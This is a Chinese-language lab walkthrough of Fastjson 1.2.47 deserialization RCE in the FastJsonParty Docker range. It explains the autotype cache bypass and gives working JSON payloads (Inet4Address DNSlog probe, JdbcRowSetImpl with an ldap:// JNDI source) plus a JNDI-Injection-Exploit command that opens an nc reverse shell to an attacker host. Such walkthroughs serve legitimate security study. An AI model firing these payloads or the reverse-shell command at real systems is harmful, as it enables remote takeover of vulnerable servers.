长亭百川云 - 文章详情

FastJsonParty-main 【RCE1.2.47】漏洞复现

LHACK安全

56

2024-07-23

hvv开始了,我搜集了一些资料,后台回复:2024。

0x01 漏洞地址

================

FastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本),主要包括JNDI注入、waf绕过、文件读写、原生反序列化、利用链探测绕过、不出网利用等。设定场景为黑盒利用,从黑盒的角度覆盖FastJson深入利用全过程,部分环境需要给到jar包反编译分析。

https://github.com/lemono0/FastJsonParty

Docker环境,开箱即用。

环境启动:docker-compose up -d

若docker拉取环境缓慢,请尝试使用国内镜像

https://mp.weixin.qq.com/s/5ENnnE0XQoT6AhqjjO-N2g

备注:配置完镜像源后,下面两个命令不能省略,缺一不可。不然可能会遇到配置了,速度还是很慢的情况

systemctl daemon-reload
systemctl restart docker

虚拟机环境使用kali即可,也可以使用自己的云服务器哈,也很方便,不会很臃肿。

0x02 漏洞原理

首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

0x03 影响版本

Fastjson1.2.47以及之前的版本

0x04漏洞复现

登陆抓包

发现为json格式传入参数

删个末尾的},看报错,很标准的fastjson错误提示,确定后端使用的fastjson

{
  "@type":"java.net.Inet4Address",
  "val":"dnslog"

dns尝试是否出网

{
  "@type":"java.net.Inet4Address",
  "val":"utrlo999exbaatgilhb5rg03suylmea3.oastify.com"
}

探测准确的版本号

{
  "@type": "java.lang.AutoCloseable"

通过报错,发现版本为1.2.47,很经典的版本漏洞,利用mappings缓存机制,JdbcRowSetImpl打jndi,但前提是需要机器出网。

关于这种方式探测fastjosn版本,条件是需要response中会回显报错信息,但实际环境可能存在不回显的情况,那就需要利用其他手段了,如dnslog、ddos等间接判断,比较麻烦,可以上网查查。

使用一个简单的办法

利用jndi注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A xx.xx.xx.xx -C "nc xx.xx.xx.xx 6667 -e sh"

开启监听

nc -lvp 6667

bp发包

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://xx.xx.xx.xx:1389/1pegbf",
        "autoCommit":true
    }
}

成功收到shell。

这是一种比较方便简单的办法,也可以尝试自己搭建web和ldap服务器来实现。

0x05 总结

这个开源的docker靶场还是很方便的。想要学习fastjson相关的漏洞可以去玩一玩。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2